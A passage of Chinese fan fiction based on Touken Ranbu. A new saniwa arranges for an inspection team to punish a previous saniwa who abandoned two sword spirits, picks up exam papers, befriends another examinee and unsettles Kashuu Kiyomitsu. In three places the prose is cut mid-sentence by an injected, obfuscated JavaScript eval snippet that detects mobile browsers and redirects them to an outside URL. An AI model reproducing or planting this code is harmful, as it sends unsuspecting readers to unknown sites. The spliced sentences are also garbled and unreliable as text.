当代表时空转换器出现动静的铃铛声响起,清水悠从容地结束了今天的上午茶,叫住以为他有事要做想离开的爱染国俊,让他去叫明石国行一起在屋子里等待。 爱染国俊意识到什么,匆匆去找人了。 他了解他们的监护人,找人再简单不过。在树荫下捡到随地大小睡的紫发太刀后,他扑上去摇晃对方:“国行!国行——!!” 明石国行懒懒地睁开眼:“干嘛啊。” “审、审神者大人让我们回屋里去等!” 那天国行回来后,他就知道了对方做的决定。 这样给审神者彻底判死刑是否太武断、她还有没有改正的可能呢?他有这样想过。 但他不会对国行的决定提出异议。 就像在外面那段时间,他们的一身血迹十分惹眼,在外面失去灵力供给要怎么规划生活、生存在野外怎么躲避野兽、被人发现要怎么逃脱…… 他时常说话不谨慎,有事会犯错。于是国行就让他保持安静,涉及到交涉的事情都交给他。 明石国行做的决定从不会出错。 所以哪怕爱染国俊还不明白人心如恶鬼,纵容是在给恶鬼投食这一件事,他也不会说出反驳。 明石国行把该说的都说了,所以这时他也知道审神者是去做什么了。临到这种时候他仍旧还是冒出了些不安,话难免多些。 “应该是检查的人们来了吧……”爱染国俊一边往回走,一边忍不住向某个方向眺望,“呐,国行,我们不去迎接吗?只在房间里等着是不是不太礼貌?” 明石国行看起来十分淡定:“你知道他为什么让我们回屋吗?” 爱染国俊:“为什么?” 明石国行却不答。 这些天他已看明白了个大概,这个本丸的情况特殊,互相之间隐隐分为两派,信息并不互通。 亲眼看着他们一身狼狈回来的只有那时的远征部队,另外的大部分人,或许甚至都不清楚他们的来历。 但今天执法队一来,怎么着都该有猜测了。 不让他们在众人的视线下去与执法队接触、把处理问题的场所转移到私密封闭的房间…… 那位大人不过是,为了维护他们的那一份尊严罢了。 - 好巧不巧,今天来的执法队队长清水悠正好见过,是那天万屋街上接到举报来抓他去检查的人。 那时的事情是一场误会,于是在那过程里两人处得还算不错,分明是执法者与嫌疑人,氛围却堪称和睦。 这次相见自然也一样。 执法队长一见他就先笑:“原来是你啊。举报信里写的那两位刀剑男士在哪儿?带我去看看吧。” 遮掩容貌的保护措施对工作人员不起效,清水悠扬起笑——万幸这些天的面瘫生活没有让他对面部肌肉的控制变得生涩。 他对身边的空旷环境眨了眨眼,示意这个地方不太合适,随后笑容变得有些抱歉:“他们在房间里,还请先跟我来了。” 到了屋外,清水悠敲敲门,推门进去。 木门安静划开,小小的院落景色很不错,风吹过草地会发出沙沙的声音,墙上爬满不知名的花,氛围静谧。 跟在后面的执法队队员不由自主放轻了脚步,一眼便能看见坐在屋外走廊的来派两振刀剑。 “国行,国俊。执法者们想对你们做一个检查,别害怕,不会伤害你们的。” 这说法让明石国行微不可察地多看了审神者一眼,他也注意到了对方对自己突然改变的称呼,但他当然不会在这时拆穿。 他看向执法者们,低下头:“麻烦了。” 执法队队长对队员使了个眼色,后者便拿好仪器上前几步。他自己则开始与两人进行交流,名为交流,实则套话。 他的问题基本都由明石国行回答去了,平时吵闹的小短刀在一旁静静看着,并不说话,执法队队长不知道想到了什么,竟也放弃了对后者询问,索性改个问法依然对明石国行询问。 爱染国俊在一旁听着,逐渐也觉出几分不对。 他只是单纯,并不是蠢。执法队队长的话语小心翼翼,像是生怕用词刺激到他们,态度更是温和。 但他们只是重伤流浪了几个月,他更是一直有国行护着,除了疼点没遭过什么罪。应该不至于这种态度……? 他心中困惑,却严谨地遵照了国行的嘱托,闭紧嘴巴一句话也没有说。 困惑与忍耐的情绪在脸上形成一种奇异的表情,执法队队长时刻注意着两个人,见他这样不知是误会了什么,在心里盘算盘算目前得到的信息,决定停止套话。 本来付丧神们说出的话就只能作为辅助作用,是拿来写报告交上去的内容,真正的关键性证据还得是他们身上检查出的那些痕迹。 现在既然已经获知得差不多,还是到此为止为妙。 不管怎么说,让受害者回忆自己受到伤害的经历,都是一个撕开伤疤的过程啊。 他这边询问完毕,队员们的检查也正好做得差不多。 “队长,这是结果,您看看。”其中一个队员守着机器,等打印出报告之后,立刻拿到执法队队长面前。 后者接过报告,注意到每个队员脸上的表情都不太好。检查的过程中他们是对被检查者的具体情况最为清楚的,现在他们这幅态度,注定说明了手中这份报告将揭露怎样残忍的事实。 执法队的气压瞬间压抑了许多。 爱染国俊眨着眼,依然茫然。明石国行却看向不远处的审神者,后者接受到视线,云雾向上飘了飘,用微微歪头的姿势悄悄跟他们打招呼。 明石国行俯首,用嘴型说道。 ‘——あ、リ、が、と、う。’(谢谢) 清水悠弯弯眼,收回视线。 爱染国俊感觉得没错,一句话概括下来,他们的确只是重伤流浪几个月,在相关事件中,情况不算严重的那一批。 而他写举报信的时候,用了一点春秋笔法。 ——‘只是’。 这样一句话概括完毕的东西,真有说起来那样轻松吗? 那样的伤势,不过因为他们并非人类才能这样活蹦乱跳几个月。换成普通人,得不到医治的话不出两天就会毙命。 付丧神的伤口不会溃烂发炎,疼痛却如影随形。他们流落陌生的时代,得不到医治、得不到照顾,躲避野兽、绕开军队,防备蚁虫骚扰。甚至连止血用的绷带都搞不来,因为仅凭那一身鲜血,见到他们的人们就会迅速逃离。 几个月的磋磨,明石国行的状态从重伤变成濒临碎刀。如果没有遇上他们,他恐怕就真的撑不了多久。 ——那么,这和蓄意谋杀,就没有区别了不是吗? 从听完明石国行叙述的那一刻,清水悠就没打算让对方好过。 如果老老实实按照原本的说法上报 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14799370|155030||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,那位审神者顶多也就是一个遗弃刀剑的罪名,剥去审神者职位,惩罚却不会太过。 他是一个睚眦必报的人,这样的结果在他看来还是太轻松了。所以他稍稍做了一些改动,强调这样的遭遇对于付丧神身体与心理的伤害,并暗示其中后果。 并且本来在他想来,执法队来了之后他或许还要稍稍引导一番——执法队的最终报告对于事情结果拥有着决定性的占比,不过看到来的是熟悉的人之后,事情就好办多了。 这位执法人员对他先入为主有着好感,最重要的是,他是一个正义善良的人。 爱染国俊闭口不言的态度天然竖起一道屏障,加上清水悠进门说的第一句话,就暗示了他们因为这件事产生不轻的心理问题。 而清水悠交上去的举报信里,不经意提到自己手入之时的心惊,引导他们注意明石国行的伤势。 这个检查结果出来之后,验证他所说的一切属实,他的目的就基本达到了。 一群人放低声音走出去,离远了之后,清水悠忧心忡忡地问:“那个,我可以问问吗?那位审神者……”他欲言又止了一下,“会得到怎样的惩罚?” 眼含难过,语带落寞。 他虽是在问这件事,却并不像他自己关注。伤害已经造成,加害者得到怎样的报复都于事无补,但是为了受害者本人,他想要得到一个答案。 执法队队长拍了拍他的肩,眼神逐渐坚毅:“放心吧!残害付丧神导致碎刀未遂,绝不会轻判了她的。” ——他想要的结果,达成了。 - 这边送别了执法队,另一边,前田藤四郎从墙头上滑下来,“他们到那边去了,看不见了。” 平野藤四郎在下面仰头看着他:“说起来,其实我们可以出去了吧?” “嗯?”前田藤四郎愣了一下,“啊,好像是哦。梦境已经稳定了,我们不用再整天待在屋里了。” 这么说着,他还是有些迟疑,温柔的小短刀不想给别人添麻烦,“但那位审神者好像已经适应了我们关门躲他的样子……这时候突然出去,会让他产生怀疑吧?果然还是……” 一只手忽然搭在他头上,他抬起头,看见药研藤四郎站在他身后。 “药研哥哥!” “药研哥哥。” 药研藤四郎轻轻摸了摸他的头发,没有弄乱他的发型,“没事的,出去玩吧。” “诶?可以吗?” 前田藤四郎眼睛亮了起来,平野藤四郎虽然没说话,脸上也不由自主浮现出一丝期盼。 关着门不许出去这几天,大家真是闷坏了。药研藤四郎无奈地摇摇头,“是真的,没有关系,去玩吧。” 双子互相对视一眼,立刻欢呼着冲出了门。 药研藤四郎回到屋内,将准备好的茶点放到一期一振身边,自己坐到另一边。 他看起来还有几分迟疑:“……一期哥,真的这样决定了吗?” “嗯。”一期一振把第一块茶点送到弟弟嘴边,温和地说道,“普通的梦境对他没有用,那就只能这样试试了。放心吧,药研,大家会控制好度的。” 最后的商量之后,众人便得出结论,既然审神者对梦境自动构筑的环境态度平静,他们也不能再保持被动。 审神者恐惧的那个世界观他们已消化完毕,那么之后,梦里就按照与设定相符合的发展…… 去做一些暗堕付丧神该做的事。 23.第23章 来派的事情目前便只需要等待结果。 而清水悠在今天中午终于蹭上一顿烛台切光忠的午饭时,思来想去,确定…… 去时政领一套卷子。 “是我疏忽忘记了这件事,审神者大人,以后饭点请不要顾忌地叫我,如果我去远征了就找堀川——审神者大人?”在上午才迟钝地想起无人进行厨当番的烛台切光忠内心充满了愧疚,看审神者细嚼慢咽吃得不多的样子更是以为没人做饭的这两天他随便对付过去才导致食欲大跌,越想越觉得自责。 那场谈话、审神者所做出的不可思议的承诺让他如今还心脏跳动得厉害,烛台切光忠几乎是抓住了救命稻草一样的,生怕将对方放走,于是审神者只是一时没回他话,他便愈发觉得惶恐不安。 直到他仔细一看,发现审神者在走神。 清水悠注意到身侧气息的改变,茫然停了筷子抬起头:“怎么了?” 烛台切光忠好奇:“您在想什么?” “唔……”提起自己刚才的想法,清水悠目光游移,语调越来越低,带上了一丝心虚,“在想……能不能钻一些空子。” 比如这种测试卷能不能凭借常识与直觉答及格之类的。 对不起,但是那本词典、不是,手册,已经变成了一座大山横在他的面前。 见审神者语意模糊,烛台切光忠便没再过多询问,“那么,若有需要,请大人一定叫我。” 清水悠应声。 饭后,清水悠拒绝了任意一人的陪同,独自前往相应部门,提出自己的诉求。 工作人员均以纸面遮脸,看不清模样。清水悠却察觉对面这一位频频看向自己,似乎有话想说。 他心生疑惑,却装作没察觉,等待对方办理手续。 与此同时,身后不时有人路过。这里本就是业务办理大厅,人群来来往往十分正常,但仔细一听他们的讨论话题似是与自己有关,清水悠不由得眨眨眼,将注意力放到身后。 “呀,这个窗口竟然有人了?” “那个大橘不是十年如一日的在死磕这东西吗?现在都从猜测他能坚持多久,到猜测他什么时候放弃了。” “哎呀不是啦,你扭头看一眼啊。是新人、新人……” “……哎呀,还真是,没见过的面孔。” “是第一次来吧?新人都这样,初出茅庐不怕虎什么的……” 声音从身后掠过,渐行渐远了。 清水悠这时再看向面前的工作人员,就明白了他在想什么。 这么说的话,果然吗?他心中微微叹气。 那种离谱的像是恨不得把每一个有用没用的废话全塞进来的手册,其实根本就是不想让他们过这一关吧。 大部分人死了一次之后,便如大彻大悟般想通了许多,再没有什么不能舍弃的了,于是既然关卡Boss难打,也就从善如流的放弃。 但听他们所说的意思,像是还有一个人在坚持不懈的死磕这里。 清水悠自己清楚,他是只要有一丝的可能性,就一定会回去拿回那些东西,此刻对于这个可能唯一的‘战友’,也不由得产生了一丝好奇。 正当他这么想着的时候,工作人员从桌子底下拿出了一叠试卷,“久等了,大人,您的手续已经办好了。” “谢谢。”他伸手接过,低头随便扫了两眼。 ……好、好多字,一道题也没看清。 清水悠当即放弃,决定先回去再说。 转身时的微风带起他额前的碎发,有几缕落于眼前,他眯了眯眼,将头发简单理好,再抬眼时,一道明亮的橙就充斥了他的视线。 那是一道亮橙色的云雾。 不知为何,看起来云雾状态不太稳定——也就是俗称的情绪激动。 莫名其妙的,清水悠察觉到对方是因为自己而情绪波动,还没来得及扣出一个问号,对面忽然就扑了上来。 橙雾席卷而来,准确的抓住了他的手。 清亮的少年音响起:“我看见了!你手上拿着试卷!你是要考返回现世的考试对吧?对吧对吧?” 清水悠:“呃……对?” 橙雾欢呼:“好耶!既然这样,那我们就是同伴啦!来来来拉拉勾——咱说好啊,之后一定会不抛弃不放弃的——对吧?” 清水悠试图抽出自己的手,橙雾看似抓得很紧,他想脱手却也完全没费力,轻而易举就抽身。 就像真切的云与云之间的交际一样,自由飘向任意想要达到的地方,无人可以束缚。 清水悠忽然有些明白了,这项措施的确有真切地在为审神者考虑。 橙雾完全没在意他的动作,还在耳边聒噪的叽叽喳喳,清水悠不得不怀疑他是否也忘记了自己来此的本意。 “那个。”他默默举手。 “同伴你说!” “……”清水悠看得出对方年纪不大,也没有否认这个称呼,“你的名字是——” “我叫久日!”橙雾很欢快地自报家门,在此之前的态度甚至让人根本看不出两人之间互相连名字都不知道。 清水悠继续循循善诱:“同伴是指?” “就是一起考试的同伴啊!你是想要返回现世对吧?我看见你拿卷子了!” “是这样没错——但我似乎还不认识你?” “我叫久日!你叫什么?” “泉。” “这不就得了!现在咱俩认识啦!” 清水悠失语。 原来如此,是自来熟……他还真有点不擅长应付这类。 这一短暂的沉默似乎给了对面错误的暗号,久日欢天喜地地拿出自己的通讯器,“没有拒绝那就是同意的意思吧?来加个好友吧同伴,有空我去找你玩!像这样,对,很简单的,碰一下就好啦!” 在对方的指引下默默完成了加好友的操作,清水悠看了一眼通讯器上对方的头像,那是一盆放在阳台上的玫瑰花。 久日的性格和他的灵力色彩一样风风火火,加上好友之后就像完成了任务,比清水悠还要先提出道别。 他指了指旁边冷清的窗口,“那我不打扰你啦!我去领新卷子,你是第一次来对吧?有什么不懂的可以问我,背书技巧我也可以教给你,我可有心得了!” 清水悠:“呃……” 清水悠:“好,谢谢。” 这点小插曲没在清水悠心里留下太多痕迹。他和久日告别回家,刚走出时空转换器,就意外遇见了拿抹布路过的压切长谷部。 在与烛台切那场谈话之后,清水悠就暂时放弃了对他的接近打算——原本是想在接触过程中慢慢探寻解决方法,毕竟没有对事态和个人想法的了解,作出怎样的计划都是‘为了你好’的空谈。 那时他认 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14809415|155030||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 为压切长谷部比较好突破,所以从他入手。 但在听完烛台切的话之后,他不再认为这是一个好主意了。 压切长谷部停在原地,对清水悠行了一个挑不出错的礼:“午好,审神者大人。” 他穿着内番服,清水悠猜测那套轻装已经被他压在箱底。 不主动去找是一回事,但既然遇见了,也不能匆匆逃离。 态度转变太大也会让人产生疑惑。 清水悠抬抬手,示意压切长谷部不必多礼,看了眼对方的打扮:“这是要去做清洁吗?” “是的,审神者大人。”压切长谷部乖乖回答道,并发动了他的读审被动,没等清水悠问出下一句就主动补充,“放在仓库外面的纸箱被弄倒了,陆奥守忙不过来,拜托我去帮忙。” “纸箱?”清水悠愣了一下。 时政发放资源用纸箱运来,全都统一堆在仓库里。箱子空了之后,也没人说丢弃,似乎是觉得留着总有用得到的时候。 这些事清水悠在初次了解本丸时狐之助就向他解释清楚了,如今纸箱堆放在外面,大概也是为了打扫仓库的卫生死角。 但是被弄倒了……? 清水悠沉吟片刻:“带我去看看吧,长谷部。” - 仅仅只是出门一趟回来,清水悠就开始觉得本丸哪里变得奇怪。 具体体现在,总能听到小孩嬉笑的声音,随风飘来,无处不闻,眼前却见不到一个人的身影。 这么说起来像是闹鬼了。 跟着压切长谷部走到仓库,远远就能看见一个身影在里面忙碌。听见有人过来,陆奥守吉行立刻松了口气的一个猛回头,“长谷部你终于回来了!……啊。” 看见压切长谷部身边的人时,他的神色一怔,随后猛然变得淡了淡。 这群付丧神对待同伴与对待陌生审神者简直是两个态度,哪怕这些天对这灵力波动早已熟悉。 发尾张扬如狼一般的打刀在不笑的时候莫名多出几分压迫感,他的视线只扫过清水悠一眼,便如同没看见这个人一样,开始指挥压切长谷部做事。 清水悠看着,若有所思。 态度倒是不意外。但是果然,陆奥守还是更适合没心没肺的样子一点。 现在这副模样充满了违和啊。 若是陆奥守吉行知道他难得帅气的一面得到了这样的评价,恐怕会大声嚷嚷。但他不知道,多半也没心情知道。 在这个本丸中,他是唯一不属于任何一个派系的人。他什么计划都没参与,平时也一直用开朗的态度对待大家,让不少刀剑男士都以为他是真不在意。 只有他自己最清楚,他只是想努力维持原来的样子。 就好像主人还在本丸,就好像一切从没改变。 他避开计划,不打听任何近期变动,说白了也是一种自欺欺人。他知道这样绝对不好,但他姑且想给自己一点接受的时间,于是主动走入自己织就的茧壳中,故步自封。 但现在新任审神者的突然出现,对方身上与自己体内相呼应的灵力无比直白地撕开了他的茧,在他还没做好准备睁眼之前,残忍的打破了他维持的现状。 “把剩下的一半装回箱子里就好了,长谷部。”他背过身子,继续打扫脚下地板,嗓音冷淡。 握住扫把的指尖泛白,手指用力得几乎在木杆上留下指印。 24.第24章 压切长谷部下意识看了身侧的审神者一眼,随即像是忽然意识到自己的阵营,抿了抿唇,沉默着照做。 清水悠被排挤一般晾在一旁。 他低下眸,没有自讨没趣地上去搭话。视线落在不远处的纸箱上,其中一半已经被收拾并重新垒放好,另外一半的纸箱倒落在地,里面装的东西散了满地。 散乱的模样不像没放稳自己倒塌。清水悠眯起眼,判断这大概是有人撞倒的。 木炭、玉钢、砥石、冷却材……嗯? 那个东西是…… 清水悠目光忽然定住,下意识想要上前一步将它拿起,身后却在这时传来一声呼唤。 “审神者。” 清水悠动作一顿,回过头。 黑发红眸的少年站在树荫下,神色冷淡。并不像是他平日里那样,外表看着淡漠,内里却温柔细腻,会坦率地说会把自己变得可爱,所以请好好对待他——这一振加州清光,表里如一的冷漠。 那双红眸的视线落在清水悠身上,血一般粘稠的色泽天然便带上几分压迫,他不知是什么时候来的,耳坠静静坠在左耳下方,几乎没有晃动。 加州清光本就很少将自己的情绪明确写在脸上,于是现在清水悠更加看不出他的想法。 仅凭契约之间的联系来感知的话,他像是不太高兴? “能和我来一下吗?”加州清光说道,“如果你没有什么事要做的话。” 清水悠当然没事干,这里没人比他闲。 于是他点了点头。 大概是对这个答案意料之中,加州清光在他点头的下一秒便转身离去,没有半分犹豫,清水悠抬脚跟上。 一如清水悠无人欢迎的来到这里,他的离去也无人欢送。就像与一副已经完成的画卷进行合照,哪怕看起来再融洽,也终究是画外人。 相隔纸面两侧,彼此听不见对方声音。 在跟上去之前,清水悠迟疑着回头看了一眼——并不是期待挽留,他有些在意自己当时一眼扫过的那东西。 但是这一眼没看见任何物件。 那个地方空空如也,压切长谷部收拾到这里,已无知无觉地将它捡走。 清水悠沉默两秒,没再关注,跟上加州清光的步伐。 并非是什么有问题的东西,它掉落在草坪中,被窜起的杂草挡住一半,清水悠当时晃眼一看,只觉得和自己在朋友那寄放的其中一样物品很像。 ……但是那种东西,在本丸这样的地方出现相似物品,也算正常。 果然只是巧合吧。 …… 加州清光平时都只窝在自己的房间里。 他是初始刀,在挑选房间时有着最大的选择权,于是他毫不客气地选了靠近天守阁最大的一间屋子——因为当时主人笑着说以后会给他们买喜欢的东西填满房间。 被主人赠送的礼物包围是一种怎样幸福的感觉?加州清光带着憧憬要了最大的空间。 本丸空间很大,他所选择的房间所在的那一小片地域离天守阁是近了,离平日出阵内番之类的活动场地却较远。 这不难解释,为了保证审神者的清净,天守阁通常坐落于较为偏僻的角落,连带着附近的房间也是。 但加州清光不在乎,区区几步路,阻挡不了他想与主人亲近。 随着时间流逝,主人真的一点点实现他的承诺,加州清光的房间慢慢被填满了大半。 他算着时间、算着主人的性格,猜测什么时候得到下一次礼物,用夹带炫耀的语气让安定来参观,那时候他说—— “最多还有半年哦,只要没有意外,我的房间就能变得满满当当了。” 安定的语气很无奈:“好、好……真是的啊,你这家伙。” 就这样掐着手指算时间,算着算着,意外发生了。 主人不见了。 身后响起沙沙的脚步声,加州清光恍然回神,意识到是那位审神者跟了上来。 他将人叫出来,其实也没想过去哪。好在他对本丸足够熟悉,随意拐了几拐,打算寻找一个安静的角落。 这段时间他已经很少出门了,安定吐槽他像深闺中的老妇人,整天在房间里摆弄指甲油,一天一天的换新,然后对着光反复看。 他倒也没有那么无聊。但是出门也没事做不是吗? 他知道安定一直想让他多出来走走、散散心,奈何他的确没什么兴致。但一直这样也有些辜负好友的好意,所以今天安定说大家解封了出门的人多,需要他看看会不会出什么意外,他也就没有推辞。 其实他不觉得能有什么意外,这次的审神者意料之外的安分,不会经常挨个给他们做家访、或是聚集开会讲心灵鸡汤,让审神者自己累,大家拉扯应对也累。 这一位安分得让他觉得只要对方不会奢求大家对他投入感情,就让他一直在这个位置上坐着也不是不行。 一直到快巡视完一圈,准备回去的时候他都是这么觉得的。 谁料就在最后这一站,还真的出了点问题。 想起看见陆奥守与审神者站在一个画面里时内心咯噔一下的感受,加州清光就忍不住想揉揉眉心。 或许他无法关注到每个人的想法,但较为特殊的他无论如何也有察觉。陆奥守吉行表面是赞同碎刀这一派,但除了正常日课的出阵内番,别的事情他从来都不听不管。 他大概能猜到对方的想法,自欺欺人,显然不是一个好主意。 但面对这样的事每个人都要有自己的方式去接受消化,所以他没去打破这层虚幻的镜面,还会时不时帮上一把。 一直这样下去,或许陆奥守能有想通的一天,也或许大家根本等不到那一天。加州清光看得很开,没有主人的未来不叫未来,所以怎么发展都没关系。 ——但这些发展里,无论如何也没有让新来的审神者将他从幻梦中拽出的这一项。 他最后停下的地方是万叶樱不远处的晾衣杆下,这里曾经因为歌仙说阳光好于是搬来了两架晾衣杆,结果一夜过去,床单上落满了樱花,他就再没用过这里了。 这附近是大家平日的休闲放松之地,如今不会有人来这里玩耍,四处乱跑的小短刀们也会在被发现前主动避开,他们的侦察至少比自己这边两人要高,所以不会有人来打扰。 加州清光停下脚步,回过身。他打算开门见山,向审神者提出自己的诉求。 这位审神者是他们的最后一次机会,出于自身的意愿,他当然无所谓碎刀,但本着初始刀的身 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14819096|155030||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 份,他明白如果是主人的话,一定不希望他们这么对待自身。 加州清光以主人的意愿为先。他哪一派都不是,只消极等待着一个无望的可能。 一直如同小尾巴一样沙沙的脚步声随着他的动作慢慢停下来,加州清光抬眼看着对方,洁白无瑕的雾色映入眼底,他张了张嘴,却一瞬间忘记了自己原本想说什么。 ……颜色真的很像呢。 他不由自主恍惚了一刹那,对周边环境降低警惕。 意外就在这时候发生。 “小心。” 没等他反应过来,就见到审神者忽然上前一步,雾气迅速凝实显出手臂,抓住他拽往旁边,避让开来。 下一秒,一只纯白色的大怪物如同碾路机一般从他们刚才站立的地方碾了过去。 还伴随着清水悠一直忽远忽近听见的叽叽喳喳嬉笑声。 加州清光一抬头,便只能看见那东西的背影。但凭他的经验猜测,那大概是一群小短刀在玩金字塔形叠罗汉。 ……呃、但是为什么用一张被单遮挡在整个金字塔之上? 还有两边诡异的凸起……是拿了晾衣杆抓在手里保持平衡吗? 意识到这些东西在他们身上这件事代表着什么,又想想刚刚告诉自己要回去拿点东西的歌仙兼定,加州清光沉默了一下。 而且这种情况也太危险了……原本还说以他们的侦察会自己避开,但就这幅所有人都两眼一抹黑的样子,恐怕不撞墙上就不错了,侦察什么的是别指望了。 等会还是去找家长告一下状吧。 “真热闹啊。”沉默了一路的审神者望着他们跑远,一边收回手一边道歉,“抱歉,情况紧急,来不及知会一声就先伸了手。” 他往后退了两步,想要拉开距离回到合适的范围内。谁料退出一步,脚下忽然踩到什么,让他晃了一晃。 东西不大,还能站稳,清水悠甚至抽空低头看了一眼,发现那是一块鹅卵石,不知哪振小短刀落下的。 然而加州清光却出乎意料地迅速伸手,像是想要将他扶稳——动作快得就像根本没有思考,身体便先一步大脑进行了动作。 然而在保护措施下,除非审神者主观意愿,本丸中没有任何一个智能生命体能够碰到他。 加州清光的手穿过白雾,尴尬地悬停半空,清水悠已经自己站稳。 清水悠:“……咳。” 改不掉替别人尴尬毛病的人就是这样,这种时候比谁都先觉得不自在。 他下意识想说点什么圆场,却注意到加州清光的神色不怎么对劲,话在嘴里拐了个弯,被他当机立断地咽下去。 黑发红眸的少年盯着自己的手,像是有些发愣。 加州清光外露给人看的情绪向来很少,尤其是对不信任的人,这样的情绪波动实属异常。清水悠捻了捻手指,懊恼着自己不能再多看出一点信息,试探着唤道:“清光?” 他的嗓音干净带点暖,由于过于熟悉自己游戏中的近侍,于是称呼他的同振时也下意识带上自己平时的习惯,最后一个‘tsu’的音轻到几乎不发音。 加州清光像是还在走神,下意识应了一句:“怎么了,主人?” 话音未落,氛围忽然陷入死寂。 25.第25章 …… 加州清光记得,他曾问过主人一个问题,为什么要那样称呼自己。 主人停下手中正在做的事,看向他,想了想,然后笑着说道: “因为很可爱啊。” “——就像清光一样。” …… 熟悉的咬字与不发音的‘tsu’几乎让加州清光心一颤,那句主人脱口而出。他下意识看向身侧,却无论如何只能感知到陌生的灵力。 每个人的灵力就如身体中流动的血液一般特殊,有些人或许灵力相似,就像是同属于血型中的A型血,某种意义上可以互通。而眼前的审神者与自家主人八杆子打不着,连O型血与别的血型的相似度都够不上。 哪怕都是白色灵雾、哪怕再多相似之处…… 不一样就是不一样。 加州清光闭了闭眼,匆匆道一句抱歉,仅剩的理智让他记得提醒一句不要再出现在陆奥守面前,便抬脚离开。 脚步混乱,气息不稳。 耳坠在大幅度摇晃。 清水悠自始至终没能说上一句话,他站在原地,慢慢地、慢慢地皱起眉。 打刀少年临走前微红的眼尾依稀还在眼前,但清水悠甚至不清楚自己做了什么才让事情变成这样。 思来想去,在他变得不对劲之后,他也就唯独唤过一声清光。 ……难道不能这么叫他? 在这个本丸这是独属于他主人的特殊称呼?一叫就让他想起了主人? 那下次是要、称呼加州吗? 清水悠抓了抓头发,不得不承认应该不是这个原因。 现在自然不可能再追上去问,对方显然不想看见自己。只能等下次再找机会了。 他回头望一眼仓库的方向,一阵风吹过,树叶沙沙作响,青年黑色的发丝被吹拂而起。 半晌,他压了压微乱的碎发,手中的卷子早在这一路上被卷成一个桶,又盘了半天。就算手掌缷力,那一叠试卷也不会再恢复到原来的模样,只堪堪松开几分。 接着,他回到了天守阁。 他有一个想法想要尝试。 - “哟。在看什么呢?” 三日月宗近收回遥遥往外望的目光,回身上望,看见白鹤不知从哪儿跳过来,在屋顶上冒出头。 他回忆着刚才看到的画面,若有所思。 脸上却没露出什么痕迹,一如既往笑呵呵道:“鹤丸殿怎么有空来我这里了?” “大家都出门玩了,我当然也得跟随大众呀!” 他毫不心虚地把出门的小短刀们反向概括成大家,又扭曲三日月宗近的问话,单单只说自己为什么出来玩。 就这样略过这个话题,他重新提起了先前那句没有得到答案的询问,“我来的时候,三日月殿看得好专注啊,一点都没有注意到我。什么东西这么引人注目啊?” 同是太刀,三日月的侦察其实比他要高。所以要让对方能不发现自己的距离怎么都说不上近,他是真没看清对方盯着的是什么。 只知道那团白雾应该是他们的审神者,另外一个跑得太快了,他没认出来。 “哈哈哈,鹤丸殿还真是好奇心重呢。”三日月宗近八风不动地笑了笑,在白鹤期待的目光中毫不留情地说出最残忍的话,“说起来,审神者好像往天守阁的方向去了哦。鹤丸殿不回去准备着吗?” 鹤丸国永:诶?! “啊啊、好吧!所以说近侍不是一个适合鹤做的职位啊!”他抓了抓头发,撑着屋顶站起来,状似无意地抱怨,然后认命地如同来时一样踩着一栋栋房屋轻盈地飞跃而去。 三日月宗近静静看着那道身影消失,听见最后那句话,新月眸中折射出几缕不明的情绪。 近侍…… 唯独这个是不能改变的啊。 “三日月殿。”小狐丸从屋檐下的阴影中走出来,今剑惴惴不安跟在身侧,小天狗眉眼低垂,颇有几分丧气。 在小狐丸说出下一句话之前,三日月宗近打断了他,他知道对方要说什么,“耐心一点,小狐丸殿。事情不是一蹴而就的,你忘记主公说过什么了吗?” 小狐丸一哽,然后沉默了。 三日月宗近叹气,两人之间陷入沉默。 今剑的声音颤抖着响起:“呐,我们这样做……真的是对的吗?” 他抬起眼,无助地看向两人,然而小狐丸沉浸于自己的思绪,没有听见他的声音,而三日月宗近看着他,对他轻轻摇了摇头。 他复又垂下头,耳边翅羽一般的银灰色发仿佛都不复以往的张扬,变得蔫下去几分。 “今剑。”小狐丸忽然说道,“按你自己的想法去做,不用顾忌我。如果你想去往那边,他们会很欢迎你。” 今剑瞪大了眼:“什么?我没有那样想!” 他的确开始慢慢觉得这或许不是一个好主意、是一个有点激进的做法……但那不代表他就能背叛主人! “我只是……只是在想,”埋藏心底一天天壮大的想法被吐出,今剑焦虑地咬着指甲,“会不会、能有一个更好的选项?” 小狐丸没有说话,而三日月宗近笑意染上无奈。 在本丸这么多刀派里,他们刀派或许是问题最大的一个。 审神者消失之后,小狐丸心结加重,岩融和石切丸尽量避免出现在他面前,今剑左右为难,郁郁寡欢。 而为了及时阻止小狐丸有可能的做出什么过激行为,他亦选择留下。 ……这可不是老爷爷想要的养老生活啊。 现在的情况,小狐丸是听不进别的东西的。三日月宗近无声地拎起小天狗,把这个地方留给小狐丸让他自己静静。 白色长发的太刀恍若未察。 